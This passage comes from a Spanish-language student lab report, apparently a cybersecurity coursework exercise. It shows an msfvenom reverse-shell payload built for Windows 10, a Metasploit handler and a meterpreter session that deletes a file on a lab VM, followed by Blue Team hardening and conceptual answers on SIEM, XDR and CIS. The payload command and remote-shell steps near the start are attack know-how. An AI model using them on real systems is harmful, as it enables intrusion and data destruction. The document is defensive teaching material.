' windows -a x64 LHOST=192.168.0.20 LPORT=443 -f exe >» /home/kali/Desktop/PoC_1085907526.exe

Fuente: El Autor.

Figura 14. Ubicacién de Payload.
=

PoC_1085907
526.exe

HIVTIRTTINUK

"the quieter you become, the more you are able to hear"

Fuente: El Autor.
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Se carga el payload en la maquina atacada de Windows para proceder a realizar la
ejecuciéon de msfconsole.

Figura 15. Payload en maquina atacada de Windows 10 x64.

& Windows 10 Anfitrion [Corriendo] - Oracle VM VirtualBo

Ver Entrada Dispo Ayuda

Datos Estudiante

FJPDF
Foxit PFDEReader

Fuente: El Autor.

En la terminal de Kali Linux se ejecuta el comando msfconsole para utilizar el
payload.
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Figura 16. Ejecucion de msfconsole.

File Actions Edit View Help

Jfhome/kali

f Metasploit!

Fuente: El Autor.

Para emplear el uso del exploit se va a utilizar use exploit/multi/handler, el payload
es el mismo creado con msfvenom que se va a usar en la maquina atacada de
Windows 10 x64 se emplea con set antes del payload, en set LHOST se pone la
direccion IP de la maquina atacante 192.168.0.20 y en set LPORT se pone el puerto
443 y por ultimo se pone exploit para proceder con la ejecucion; es muy importante
después de esto que el payload alojado en la maquina de Windows sea ejecutado.
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Figura 17. Ejecucion de exploit.

Ver Entrada Dispositivos

File Actions Edit View Help
loit/multi/hand

Build 1!

Fuente: El Autor.

Figura 18. Ejecucion de .exe en Windows 10 x64.

i w

Ver Entrada Dispositivos Ayuda

¥ N

Papeléra de Datos Estidiante
reciclaje

S0

MicrosoftEdge MPoC

FIrefox

Fuente: El Autor.
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Con la ejecucion del .exe en la maquina atacada de Windows 10 x64 el ataque
finalizara con la apertura de un meterpreter y en este caso ya es posible manipular
la maquina. En el escritorio de la maquina atacada se observa que hay un archivo
txt con el nombre de Datos_Estudiante, este archivo seré eliminado por medio del
inicio de sesion de meterpreter.

Figura 19. Archivo .txt de Datos de Estudiante.

& Windows 10 Anfitnion [Cormendo] - Oracle VM VirtualBox
Ver Entrada Dispositivos Ayuda

T B

Pa de Datos Estudiante

Firefox

Fuente: El Autor.

Desde la terminal de Kali Linux mediante meterpreter se va a la ubicacion del
archivo por medio de la exploracion de directorio con cd / hasta llegar a la ruta donde
se encuentra el archivo C:\Users\OSPINA\Desktop y con Is se busca el archivo a
eliminar que es Datos_Estudiante y con rm Datos_Estudiante.txt el archivo es
eliminado, se vuelve a revisar con Is y el archivo ya no se encuentra en el escritorio
de la magquina atacada de Windows 10 x64.
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Figura 20. Eliminacién de archivo .txt desde meterpreter.

meterpreter > 1s
Listing: C:\Users\OSPINA\Desktop

Type Last modified Name

dir 202 S 7 23:03:05 -0500 Accesos Directos
95 fil 2 3-09-07 2 2 -0500 Datos_Estudiante.txt
7168 fil 2 S 7 -0500 PoC_1085907526.exe
282 fil 2 22 145:46 -0500 desktop.ini

meterpreter > rm Datos_Estudiante.txt

meterpreter > 1s
Listing: Users\OSPINA\Desktop

w
[
N
)

Last modified Name

105 -0500 Accesos Directos
3146 -0500 PoC_1085907526.exe
desktop.ini

N o~
= o
o\
@ O

w
N

meterpreter > [
Fuente: El Autor.

Se revisa en el escritorio de la maquina atacada de Windows 10 x64 y el archivo
Datos_Estudiante.txt no se encuentra almacenado donde estaba inicialmente.

Figura 21. Comprobacion de eliminacién de archivo de texto.

—~

Papelera de
reciclaje

)

Microsott Edge Pot

£

Foxit PDEReader

Fuente: El Autor.
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2.4 ETAPA 4 - CONTENCION DE ATAQUES INFORMATICOS.
e Anexo 5 - Escenario 4.

Este anexo tiene la finalidad de brindar una guia para la identificacion de un
problema especifico en temas técnicos que se ejecutan en equipos Blue Team para
la contencion de ataques informaticos.

Situacion problema: Analisis Blue Team.

HackerHouse solicita a sus integrantes de Blue Team tomar medidas al respecto
del ataque expuesto en la etapa 4 donde se vio afectada una maquina con Windows
10. Como experto en Ciberseguridad usted debera cumplir con las siguientes tareas
las cuales demanda HackerHouse:

» Descargue una guia de hardenizacion para Windows 10

» Asegure la maquina que fue afectada con el Payload de la Etapa 4.

» Genere un documento donde mencione el paso a paso utilizado para asegurar y
erradicar el ataque ejecutado en la Etapa 4.

Una vez realizado este apartado del anexo 5 debe dirigirse a la Guia y terminar de
responder las preguntas relacionadas con el aseguramiento y equipo Blue Team.

2.4.1 ¢Ante un ataque informatico en tiempo real usted como experto en
Ciberseguridad qué pasos toma para identificar dicho ataque? Debe listar y
explicar cada uno de estos pasos.

Ante un ataque informatico en tiempo real, un experto en ciberseguridad debe tomar
una serie de pasos para identificar y responder eficazmente al ataque. Aqui hay una
lista de los pasos claves que suelen seguirse con su debida explicacion:

e Deteccion de anomalias: Utilizar sistemas de deteccién de intrusiones (IDS) y
sistemas de deteccion de anomalias (ADS) para monitorear la red en busca de
comportamientos inusuales o patrones de trafico sospechosos.

e Registro de eventos: Revisar los registros (logs) de seguridad y eventos del
sistema para identificar actividades anémalas o inusuales, como intentos de
inicio de sesion fallidos, accesos inesperados o cambios en la configuracion.

e Anadlisis de trafico de red: Inspeccionar el trafico de red en busca de patrones

inusuales, como flujos de datos no autorizados, trafico de comando y control, o
transferencias de datos inusuales.
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e Andlisis de malware: Utilizar herramientas de analisis de malware para
identificar y analizar cualquier software malicioso que se haya infiltrado en el
sistema.

e Examen de registros de aplicaciones: Analizar los registros de las
aplicaciones especificas en busca de actividades sospechosas, como acceso no
autorizado a bases de datos o manipulacién de datos.

e Evaluacion de sistemas comprometidos: Identificar los sistemas
comprometidos y evaluar la magnitud del ataque, incluyendo la determinacion
de qué datos o recursos pueden haber sido afectados.

e Correlacién de datos: Correlacionar la informacion recopilada de diferentes
fuentes para comprender mejor la cadena de eventos que condujo al ataque y
su impacto en la infraestructura.t’

e Identificacion del vector de ataque: Determinar cémo el atacante logré
ingresar al sistema, ya sea a través de vulnerabilidades de software, phishing,
ingenieria social u otros métodos.

¢ Aislamiento y mitigacién: Si es posible, aislar los sistemas comprometidos de
la red para evitar que el ataque se propague y tomar medidas para mitigar el
impacto, como parchear vulnerabilidades o cambiar contrasefias
comprometidas.

¢ Notificacién y respuesta: Notificar a las partes interesadas, incluyendo la
direccion de la organizacion y las autoridades pertinentes, segun lo exijan las
leyes y regulaciones locales. Ademas, llevar a cabo una respuesta coordinada
para contener y eliminar la amenaza.

e Recopilacién de evidencia: Preservar y recopilar evidencia relevante del
ataque, que podria ser necesaria para futuras investigaciones 0 acciones
legales.

e Anadlisis post-incidente: Realizar un analisis post-incidente exhaustivo para
comprender completamente las tacticas, técnicas y procedimientos (TTP)
utilizados por el atacante y aprender lecciones para mejorar la seguridad en el
futuro.

17 CARISIO, Emanuele "Ataque cibernético: consecuencias, como actuar y cémo protegerse”. {En linea}. disponible en:
https://blog.mdcloud.es/ataque-cibernetico-consecuencias-como-actuar-y-como-protegerse/.
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e Mejoras de seguridad: Implementar medidas adicionales de seguridad, como
actualizaciones de software, politicas de seguridad mas estrictas o capacitacion
para el personal, para evitar futuros ataques similares.

Es importante recordar que la respuesta a un ataque informatico debe ser rapida y
coordinada para minimizar el dafo y reducir el tiempo de inactividad. La
ciberseguridad es un proceso continuo, y la mejora constante de la postura de
seguridad es esencial para protegerse contra amenazas en constante evolucion.*®

2.4.2 ¢Teniendo en cuenta el ataque ejecutado desde el ejercicio de Red Team
liste el paso a paso que ejecutd para subsanar el sistema ante el evento del
Payload?

Para llevar a cabo el proceso de fortalecimiento de la seguridad de un sistema
informatico y reducir las vulnerabilidades identificadas, se busca reforzar la
seguridad de los servicios, usuarios y funciones utilizados dentro de la organizacion.
Para lograr este objetivo, se han definido las siguientes etapas de correccion:

e Paso 1: Se establece un sistema de supervision utilizando la herramienta
Wireshark. Esto tiene como finalidad determinar el estado de la red y detectar
posibles indicios de amenazas o0 ataques que puedan surgir.

Figura 22. Primera muestra del andlisis de red por medio de Wireshark.

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
ADAG R RR@ acr»n«>»rMEooo @l
Atcp

No. Time rce Destinatio Protocol  Length Info
7 1.558482520 :160:a84:2200: : 3 :83d6:.. TCP 74 89 . 50030 [FIN,
8 1.559263200 4 74 50030 - 88 [ACK)
74 50030 - 86 [FIN,

280
.11 192.168.,39.137 WS=256 SACK_PERM
23 2.489931721 3 20.7.1.246 7 seguen a reassembled PDU]
25 2.575168019 246 192.168,0.17 =
26 2.730156413 . 0.2 34.120.208.123
35.244.181.201
192.168.0.21
34.120.208.123 192.168.0.21 S 93 Applicatios
1 35.244.181.201 192.168.0.21 Tce 6
31 2.758671814 35.244.181.201 192.168.0.21
32 2.818878603 192.168.0.21 34.120.208.123 Tce

ta

CK] Seq=1 Ack=48 Win=300 Len=0

n Data

443 . 56028 [ACK] Seq=1 Ack=47 Win=269 Len=8
\ Data

3 [ACK] Seq=46 Ack=40 Win=1624 Len=0

33 2.818878962 192.168.0.21 35.244.181.201 TCcP 3 [ACK] Seq=47 Ack=47 Win=1025 Len=0
34 3.040049058 192.168.0.21 192.16.49.85 TCcP 5¢ [ACK] Seq=1 Ack=1 Win=1026 Len:
35 3.072301967  192.16.49.85 192.168.0.21 Tcp 66 80 [ACK] Seq=1 Ack=2 Win=133 Len=6 SLE=1 SRE=2

37 3.638760863  2603:1063:2200:30::.. 2600:484:de80:83d0:.. TLSV1.2 107 App n Data
38 3.678884030  2800:484:de80:83d0:.. 2603:1663:2200:30::.. TCP 74 54873 . 443 [ACK] Seq=1 Ack=34 Win=512 Len=g
46 5.382322027  2800:484:de80:83d0:.. 2602:803:c002:200: :.. TCP 75 55307 . 443 [ACK] Seq=1 Ack=1 Win=513 Len=1 [TCP segment of a reassembled PDU]

47 5,420701016  192.168.0.17 20.44.10.123 TCP 60 58269 . 443 [FIN, ACK] Seq=1 Ack=1 Win=1024
48 5.421463104  192.168.0.17 20.44.10.123 TCce MSS=1460 WS=256 SACK_PERM
:803: :i.. 2800:484:de8O:B3d0:
44.10 192.168.0.17

Seq=0 Ack=1 Win=65535
60 58274 — 443 [ACK] Seq=1 Ack=1 Win=262144 Len=0
283 Client Hello

63 5.636117754 192.168.6.17 509 Ignored Unknown Record
645636118073  192.168,0.17 20.44.10,123 TcP 60 58274 . 443 [ACK] Seq=230 Ack=6296 Win=261632 Len=p
65 5.639785800  192.168.0.17 20.44.10.123 TLSVi.2 212 Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message

Fuente: El Autor.

8 FERNANDEZ, Begofia "Pasos a seguir ante un ataque informéatico". {En linea}. disponible en:
https://lwwwz2.deloitte.com/es/es/pages/legal/articles/Pasos-a-seguir-ante-un-ataque-informatico.html.
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e Paso 2: Reconocimiento de los distintivos cromaticos utilizados por la
herramienta Wireshark para el analizar la red.

Color Rojo: Refleja una problemética significativa. Los paquetes de datos mostraran
el término "Error".

Color Amarillo: Indica la necesidad de prestar atencidon. Los paquetes mostraran el
término "Warn".

Color Celeste: Resalta situaciones notables que se desvian de la operacion
estandar. En los paquetes, se empleara el término "Note".

Color Gris: Proporciona informacion sobre flujos de datos normales, lo que ayuda a
comprender lo que ha sucedido. En los paquetes se incluira el término "Note".

e Paso 3: Captura de datos del analisis de la informacién en la red, junto con su
contexto explicativo.

Figura 23. Deteccion de irregularidades en la red.

Fuente: El Autor.

e Paso 4: Segundo registro de datos en el analisis de la informacion en la red,
incluyendo su contexto explicativo.
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Figura 24. Segunda muestra del analisis de red por medio de Wireshark.

Not set
te ECN: Not
tion Windc Not set
: Not
Urgent: Not set
Acknowledgment: Set
Push: Set
Reset: Not set
Syn: Not set
Fin: Not set

[TCP Fla
Window:
[Calculated window size: 1825]

[Window size scaling factor: -1 (unknown)]
Checksum: @xdb8d [unverified]
[Checksum Status: Unverified]
Urgent Pointer: @
+ [Timestamps]

a4 98 13 8

pe 4f 64 67 0e

de 7b c3 6 bb

04 01 db 00 17

62 3c Te 6

dc 9e 4b 75

Fuente: El Autor.

e Paso 5: Captura adicional de datos en el analisis de la informacion en la red,
junto con su contexto explicativo, con el propésito de representarlos
graficamente.

Figura 25. Muestra para graficacion.

Fuente: El Autor.
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e Paso 6: Examinando gréaficos de entrada/salida (I/O), se puede detectar todos
los paquetes de la transmision, identificar los errores especificos en TCP y
aplicar un filtro a los paquetes de la transmision.

Figura 26. Gréfico de 1/O.

©

File Edit View Go Capture Analyre Statistics Telephony Wirel
ADAG G REBR a « » 0 « »

Wireshark - 1/0 Graphs - eth0

Wireshark |/O Graphs: eth0

e Source
266 49.849883731 192.168.6.17
286 54.923514907 192.168.6.17
304 61.682487365 192.168.6.17
308 62.683064755 192.168.0.17
316 68.165183269 192.168.6.17
318 68.311755699 192.168.0.17
329 77.311232062
332 79.774508730
335 80.806247866
354 89.302263159 192.168.0.17
356 89.428108115 192.168.6.17
368 97.048883689

Packets/1 sec

373 99.155951114 192,
375 99.324467259

|
I |
| | | | ‘
> A (Y Y LA T LT A H‘I“U\u Mo
Src Port: 58822, Dst ! AL WML VY R IWIEY W W ARV
100 150 200
Time (s)

Complete, WITH

Display Filter Color Style ¥ Ads. ¥ Field SMA Period Y Axis Factor
Lin Packets
tep.analysis... Bar Packets

Fuente: El Autor.

Después de completar el andlisis utilizando la herramienta Wireshark,
implementamos las acciones planificadas para reducir el alcance de la amenaza
informética.

e Paso 7: En la maquina atacada de Windows 10 x64 se ingresa a panel de
control, sistema y seguridad, firewall de Windows Defender, personalizar
configuracion.
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Figura 27. Configuracion de la habilitacion de firewall de Windows 10 x64.
B

9 Personalizar configuracion

€«

v o @ > Panel de control » Sistema y seguridad » Firewall de Windows Defender » Personalizar configuracion

Personalizar |la configuracion de cada tipo de red
Puede modificar la configuracian del firewall para cada tipo de red que use.
Configuracién de red privada
(®) Activar Firewall de Windows Defender
[JBloquear todas las conexiones entrantes, incluidas las de la lista de aplicaciones permitidas
Notificarme cuando Firewall de Windows Defender bloquee una nueva aplicacién
e (O Desactivar Firewall de Windows Defender (no recomendada)
Configuracién de red puablica
(@) Activar Firewall de Windows Defender

[JBloguear todas las conexiones entrantes, incluidas las de la lista de aplicaciones permitidas

Notificarme cuando Firewall de Windows Defender bloquee una nueva aplicacion

g (O) Desactivar Firewall de Windows Defender (no recomendada)

Cancelar

Fuente: El Autor.

Paso 8: Se habilita el firewall de Windows en la maquina atacada de Windows
10 x64.

Figura 28. Habilitacion de Firewall de Windows.

@ Firewall de Windows Defender

= ~ 4 @ » Paneldecontrol » Sistemay seguridsd » Firewall de Windows Defender

Ventana principal del Panel de Ayudar a proteger el equipo con Firewall de Windows Defender
control Firewall de Windows Defender puede ayudar a impedir que piratas informétices o software malintencionado

) obtengan acceso al equipo a través de Internet o una red.
Permitir que una splicacién o

una caracteristica 3 través de B
Firewall de Windows Defender v Redes privadas Conectado
@' Cambiar a configuracion de Redes domésticas o del trabajo en cuyos usuarios y dispositivos confie
notificaciones
) Activar o desactivar el Firewall . .
Estado de Firewsll de Windows Defender: Activado
de Windows Defender
Conexiones entrantes: Bloquear todas las conexiones a aplicaciones que ne
¥ Restaurar valores ,
. estén en | lista de aplicaciones permitidas
predeterminados
ivas: n
& Configuracién avanzada Redes privadas activas: % Red2

Solucién de problemas de red Estado de notificacion: Notificarme cuando Firewall de Windows Defender

bloquee una nueva aplicacion

l o Redes publicas o invitadas No conectado

Vea también
Seguridad y mantenimiento

Centro de redes y recursos

Fuente: El Autor.
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e Paso 9: Se procede a realizar la habilitacion de Windows Update y actualizar el
sistema operativo de Windows 10 x64 con todos los parches de seguridad.

Figura 29. Habilitacion de actualizaciones de Windows Update.

&

Ver Entrada Dispositivos  Ayuda

Configuracién

@ Inicio Windows Update

| | | iTodo esta actualizado!
Ultima comprobacién: hoy, 3:51 p. m.

Actualizacién y seguridad

I C Windows Update|

B G e Ajustar las horas activas para reducir las interrupciones

Buscar actualizaciones

Hemos notado que usas normalmente el dispositivo entre las horas siguientes: 5:00 p. m. y 8:00 p. m..
¢Quieres que Windows actualice automaticamente tus horas activas para que coincidan con tu actividad?
Durante este tiempo, no habra reinicios para instalar actualizaciones.

v Seguridad de Windows

T Copia de seguridad

Activar
ég Selucionar problemas
. @ Pausar las actualizaciones durante 7 dias
=} Recuperacién , - rradac n .
Ve a Opciones avanzadas para cambiar el p
@ Activacién

Fuente: El Autor.

e Paso 10: Se procede a realizar la habilitacién del antivirus y proteccién contra
amenazas Windows Defender en el sistema operativo de Windows 10 x64.

Figura 30. Habilitacion de Windows Defender.

il

Ver Entrada Dispositivos  Ayuda

Seguridad de Windows

«
Configuracién de antivirus y

1
= 3 1
proteccion contra amenazas

(r  Inicio

Ver y actualizar la configuracién de Proteccién contra virus y amenazas de
Antivirus de Microsoft Defender.

I ) Proteccion antivirus y contra amenazas ]

R Proteccién de cuentas
Proteccion en tiempo real
) Firewall y proteccién de red Busca malware e impide que se instale o gjecute en tu dispositiva, Puedes
de: esta opcién durante un breve periodo de tiempo antes de que
3 Control de aplicaciones y navegador se vuelva a activar automaticamente.

Seguridad del dispositivo Q Activado

a
@ Rendimiento y estado del dispositivo
4k

Bicapesdaiani Proteccién basada en la nube

Proporciona una proteccidn mayor y mas rapida con acceso a los datos
més recientes de proteccion en la nube. Funciona mejor cuando el envio
automatico de muestras esta activado.

@ Configuracién Q Activado

Fuente: El Autor.
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e Paso 11: Se cambian los permisos en el modo de promiscuo de los adaptadores
de red de las maquinas virtuales de Kali Linux y Windows 10 x64.

Figura 31. Modificacion en el modo promiscuo en adaptador de red de Kali Linux.

@ Kali Linux 2023 - 1 - Configuracién = ] H

D General Red
B Sistema Adaptador 1
D Pantalia
E Almacenamiento
Mombre: Realtek Gaming GbE Family Controller
‘h Audio

|:| Red
’.\‘:‘ Puertos serie

Conectado a:  Adaptador puente =

Modo promiscuo: | Denegar

- Carpe partidas
i Interfaz de usuario

Cancelar Ayuda

Fuente: El Autor.

Figura 32. Modificacion en el modo promiscuo en adaptador de red de Windows 10 x64.

n Sistema

I:l Pantalla

E Almacenamiento

‘h Audio W Advanced
l:l Red

Modo promiscuo:  Denegar

"‘\:\ Pue

-'Q use

- Carpetas compartidas
i Interfaz de usuario

Cancelar Ayuda

Fuente: El Autor.
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e PASO 12: Se realiza de nuevo el ataque informéatico de la etapa 3 para revisar
la mitigacion del riesgo.

Figura 33. Revision de puerto, estado y servicio.

[5a] - o - —
Bl Kali Linux 2023 - 1 [Corriendo] - Oracle VM VirtualBox

Archivo Maquina Ver Entrada Dispositivos

AL N BN SRR

b

File Actions Edit View Help

[sudo] password for kali:
/home/kali
192 .168.8.2]
Starting Nmap 7.9 & ) at 2023-@9-17 2@:01 -05
Mmap scan report for 192.]

Not shown: 996 filt
POR STATE SERVICE
1 open mMSIrpc
open netbios-ssn
open microsoft-ds
open wsdapil
ress: @8:@0:27:B7:79:E8 (Oracle VirtualBox wvirtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 5.96 seconds

Fuente: El Autor.

Paso 13: En la terminal de Kali Linux se va a utilizar el comando msfconsole para
utilizar el payload y posteriormente la ejecucion del exploit, donde se observa que
no es enviado a la direccion IP 192.168.0.21 de la maquina atacada de Windows 10
X64.
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Figura 34. Utilizacién de msfconsole y ejecucidn de exploit.

Archivo Ma&quina Ver Entrada

S mmP o]

=

File Actions Edit View Help

[sudo] password for kali:
/home/kali

auxiliary - 412 post
- 11 nops

asploit tip: U esource command to run
nds from a

docs .metasploit.com/

meterpreter/

Started reverse TCP handler on 192.168.0.20:443

Fuente: El Autor.

e Paso 14: El antivirus y proteccién contra amenazas Windows Defender de la
maquina atacada con el sistema operativo de Windows 10 x64 detecta el
Metasploit bloqueandolo y no permitiendo su ejecucién, salvando la
funcionalidad de toda la maquina correctamente.
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Figura 35. Deteccion de Metasploit.

&

Ver Entrada Dispositives Ayuda

Seguridad de Windows

Proteccidn antivirus y contra
amenazas
| mr  Inicio Proteccion contra amenazas para tu dispositivo.
J  Proteccién antivirus y contra amenazas
2 Proteccion de cuentas 8 Amenazas actuales

@ E . Se han detectado amenazas. Inicia las acciones recomendadas.
| Firewall y proteccion de red

& Control de aplicaciones y navegador

Trojan:Win64/Metasploit. CRTDIMTB

. Grave
17/09/2023 T:49 p. m. (Activo)

8 Seguridad del dispositivo

%  Rendimiento y estado del dispositivo

Fuente: El Autor.

2.4.3 Sabemos que existen equipos Blue Team y Red Team, pero entonces ¢,qué
diferencia existen entre los equipos antes mencionados con el Purple Team
y equipos de respuesta a incidentes informaticos?

Cuando hablamos de seguridad informatica y proteccion de datos entran en juego
dos equipos fundamentales: los Read Team y los Blue Team. Ambos realizan
un trabajo complementario para detectar vulnerabilidades, prevenir ataques
informaticos y emular escenarios de amenaza. A estos dos equipos hay que
afiadirles un tercero: el Purple Team.!?

e Blue Team: El equipo Blue Team se concentra en mantener y mejorar la
seguridad de los sistemas y redes de la organizacion. Monitorea constantemente
los sistemas en busca de amenazas, implementando medidas de seguridad,
respondiendo a alertas de seguridad y llevando a cabo analisis forenses basicos.

¢ Red Team: El equipo Red Team se encarga de simular ataques cibernéticos con
el objetivo de evaluar la seguridad de la organizacién. Lleva a cabo pruebas de
penetracion, ataques controlados y explorar posibles vulnerabilidades para
ayudar a la organizacién a identificar y solucionar problemas de seguridad.

19 UNIR LA UNIVERSIDAD DE INTERNET, "Red team, Blue team y Purple team, ¢sabes qué son y como ayudan a mejorar
la seguridad informatica? En UNIR abordamos sus funciones y objetivos". {En linea}. disponible en:
https://www.unir.net/ingenieria/revista/red-blue-purple-team-ciberseguridad/.
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e Purple Team: Los equipos Purple Team actian como intermediarios entre los
equipos Blue Team y Red Team, promoviendo la colaboracion y la mejora
continua de la seguridad. De esta manera facilita la comunicacion y el
intercambio de informacion entre Blue Team y Red Team, ayudando a definir
escenarios realistas de ataque y trabajando en conjunto para fortalecer las
defensas cibernéticas.

e Equipos de Respuesta a Incidentes Informaticos (CSIRT): Los equipos de
respuesta a incidentes informéaticos se dedican a gestionar y responder a
incidentes de seguridad cibernética una vez que ocurren. Investigan incidentes,
recolectan pruebas forenses, coordinan la respuesta a incidentes, comunican a
las partes interesadas, aplican medidas correctivas y aprenden de los incidentes
para mejorar la seguridad.

Las diferencias que existen es que los equipos Blue Team tienen como su principal
enfoque la salvaguarda de la seguridad y la defensa de los sistemas de una
organizacion, mientras que los equipos Red Team se dedican a llevar a cabo
evaluaciones exhaustivas de seguridad con el propdsito de identificar posibles
debilidades y vulnerabilidades. Por otro lado, los equipos Purple Team desempefian
un papel esencial al facilitar la colaboracién estrecha y efectiva entre los equipos
Blue y Red, buscando fortalecer la ciberseguridad de la organizacién a través de un
intercambio constructivo de conocimientos y experiencias. Por altimo, los equipos
de respuesta a incidentes informéticos estan encargados de manejar, resolver y
mitigar incidentes de seguridad una vez que se producen, aplicando medidas para
contener y remediar la situacion. La cooperacion sinérgica entre todos estos equipos
resulta fundamental para reforzar la postura de seguridad cibernética de una entidad
u organizacion.

2.4.4 ;Qué funcion tiene CIS “Center For Internet Security” dentro de equipos
BlueTeam? Usted debe realizar un pequefio tutorial de como funciona CIS y
qué se debe hacer para encontrar los tutoriales que posee.

El Center for Internet Security (CIS) es una organizacion sin fines de lucro que
desemperia un papel importante en el ambito de la seguridad cibernética. Su funcién
principal es proporcionar recursos, directrices y mejores practicas para mejorar la
seguridad de la infraestructura de TI. Dentro de los equipos Blue Team, CIS ofrece
valiosos recursos para fortalecer las defensas cibernéticas de una organizacion.

Coémo funciona CIS:
e Estandares de Seguridad: CIS desarrolla y mantiene un conjunto de
estandares de seguridad llamados "CIS Controls" (Controles CIS) y "CIS

Benchmarks" (Pautas CIS). Estos documentos ofrecen directrices especificas
para asegurar sistemas y redes.
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Guias de Configuracion: Los CIS Benchmarks proporcionan guias detalladas
de configuracion para sistemas operativos, aplicaciones y dispositivos comunes.
Estas guias ayudan a los equipos Blue Team a configurar sus sistemas de
manera segura siguiendo las mejores practicas.

Herramientas y Recursos: CIS ofrece una serie de herramientas y recursos
gratuitos, como scripts de configuracion y evaluacién de seguridad, que permiten
a los equipos Blue Team auditar y mejorar la seguridad de sus sistemas.

Comunidad y Colaboracion: CIS fomenta la colaboracion y la comunidad en el
ambito de la seguridad cibernética. Proporciona un espacio para que
profesionales compartan conocimientos y experiencias relacionadas con la
seguridad.

Tutorial de como funciona el Center for Internet Security (CIS) y como puedes utilizar
Sus recursos para mejorar la seguridad cibernética de una organizacion. Se deben
seguir los siguientes pasos:

Paso 1: Acceder al Sitio Web de CIS: Abre tu navegador web y dirigete al sitio
web de CIS en https://www.cisecurity.org/.

Paso 2. Explorar la Pagina de Inicio: En la pagina de inicio, encontraras
informacion general sobre CIS y sus iniciativas de seguridad cibernética. Lee las
secciones relevantes para familiarizarte con su mision y recursos.

Paso 3: Acceder a los CIS Controls y CIS Benchmarks: Para acceder a los
recursos clave de CIS, haz clic en la pestafia "CIS Controls & Benchmarks"
(Controles CIS y Pautas CIS) en la parte superior del sitio web.

Paso 4: Explorar los Controles CIS (CIS Controls): En la seccién de "CIS
Controls", encontrards una lista de 20 controles de seguridad cibernética
ampliamente reconocidos. Estos controles ofrecen un enfoque estructurado para
mejorar la seguridad. Puedes hacer clic en cada uno de ellos para obtener mas
detalles y recursos relacionados.

Paso 5: Explorar las Pautas CIS (CIS Benchmarks): En la seccién de "CIS
Benchmarks", encontraras guias de configuracién detalladas para una variedad
de sistemas operativos, aplicaciones y dispositivos. Puedes buscar la plataforma
o tecnologia especifica que te interese y descargar las guias correspondientes.

Paso 6: Descargar Recursos: Cuando selecciones un control CIS o una guia
CIS Benchmark, encontraras enlaces para descargar recursos como PDFs,
hojas de calculo y herramientas de evaluacion. Estos recursos te ayudaran a
implementar las mejores practicas de seguridad en tu organizacion.
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Paso 7: Unirse a la Comunidad (Opcional): Si deseas patrticipar activamente
en la comunidad de CIS, puedes registrarte en el sitio web. Esto te permitira
acceder a contenido exclusivo, participar en discusiones y recibir actualizaciones
sobre seguridad cibernética.

Paso 8: Explorar Formacion y Eventos (Opcional): Si esta interesado en
formacion adicional o eventos relacionados con la seguridad cibernética, explora
la seccion correspondiente en el sitio web de CIS para obtener mas informacion.

Paso 9: Implementar las Mejores Practicas: Utilizar los recursos de CIS, como
los controles y las pautas, para implementar las mejores practicas de seguridad
cibernética en tu organizacion. Esto puede incluir configuraciones seguras,
evaluaciones regulares y formacion de personal.

Paso 10: Mantén Actualizados tus Conocimientos: Regresa periddicamente
al sitio web de CIS para mantenerte al dia con las ultimas tendencias y recursos
en seguridad cibernética. La ciberseguridad es un campo en constante
evolucion, y la informacién actualizada es fundamental.?°

2.4.5 Deberd documentar mediante la elaboraciéon una tabla las diferencias

existentes entre: SIEM y XDR.

Tabla 1. Diferencias existentes entre SIEM y XDR.

20 CIS Center for Internet Security, "CIS Center for Internet Security”. {En linea}. disponible en: https://www.cisecurity.org/.
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Alcance de la Capacidad de Visibilidad Integraciony
Tecnologia Detecciény Automatizacion Contextual Ecosistema
Respuesta
Se enfoca | Si bien un SIEM | Proporciona una | Proporciona una | Suelen integrarse
principalmente en | puede detectar | visibn mas amplia | vision mas amplia | con una variedad
la gestion de | amenazas a través | de los eventos y | de los eventos y | de soluciones de
informacion de | de la correlacién de | actividades en toda | actividades en toda | seguridad, como
seguridad y | eventos y reglas |la infraestructura | la infraestructura | firewalls, sistemas
eventos. Recopila | personalizadas, no | de Tl y puede ser | de Tl y puede ser | de prevencion de
y correlaciona | suele ofrecer una | mas adecuado | mas adecuado | intrusiones (IPS) y
datos de mdltiples | capacidad de | para tareas de|para tareas de |antivirus. Pueden
fuentes, como | respuesta directa y | gestion de | gestion de | ser parte de un
registros de | automatizada. Por | registros y | registros y | ecosistema de
sistemas, lo general, requiere | cumplimiento cumplimiento seguridad mas
SIEM dispositivos de red | integraciones normativo. normativo. amplio.

(Security y aplicaciones, | adicionales con

Information | para proporcionar | otras soluciones de

and Event visibilidad  sobre | seguridad para

Management) | eventos y | llevar a cabo la
actividades en la | respuesta a
infraestructura de | incidentes.
Tl. Su enfoque es
mas amplio y se
utiliza para la
gestion de
registros, alertas y
cumplimiento
normativo, ademas
de la deteccion de
amenazas.
Se centra | Esta diseflado para | Se basa en la|Se centra en la|Puede integrarse
especificamente detectar amenazas | automatizacion deteccién y | con otras
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XDR
(Extended
Detection and
Response)

en la deteccion y

respuesta a
amenazas. Se
disefio para
abordar las

limitaciones de los
sistemas SIEM
tradicionales y se

enfoca en la
identificacion  de
amenazas
avanzadas y la
respuesta

automatizada.

avanzadas y

proporcionar una
capacidad de
respuesta mas
inmediata y
automatizada.

Puede tomar
medidas para
aislar o contener

automaticamente
las amenazas vy
reducir el tiempo
de respuesta.

como parte integral

de su disefio.
Puede tomar
decisiones y
acciones de
respuesta
automaticas en
tiempo real.

respuesta a

amenazas y se
especializa en
proporcionar una
visibilidad
contextual mas
profunda sobre
amenazas
especificas, 1o que
facilita la
identificacion  de
ataques

sofisticados.

herramientas  de
seguridad, pero su
enfoque principal
es la deteccion y
respuesta directa a
amenazas.?!

Fuente: El Autor.

21 ARNAL, Carlos "¢ Cudl es la diferencia entre XDR y SIEM?". {En linea}. {08 mayo de 2023} disponible en: https://www.watchguard.com/es/wgrd-news/blog/cual-es-la-

diferencia-entre-xdr-y-

siem#:~:text=Las%20soluciones%20SIEM%20act%C3%BAan%20tambi%C3%A9n,temporal%20%C3%BAnicamente%20para%20su%20an%C3%ALllisis..
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2.4.6 Defina por lo menos 3 herramientas de deteccion de ataques informaticos
con licencia GPL.

Las herramientas de deteccion de ataques informaticos con licencia GPL (Licencia
Publica General de GNU), existen varias opciones de software de codigo abierto
disponibles. Estas herramientas son de uso gratuito y pueden ser personalizadas
segun necesidades especificas. Algunas de ellas son:

e Snort.

Snort es un sistema de deteccion de intrusos en red (IDS, por sus siglas en inglés)
de coédigo abierto muy popular y ampliamente utilizado. Fue creado por Martin
Roesch en 1998 y se ha convertido en una herramienta esencial para la seguridad
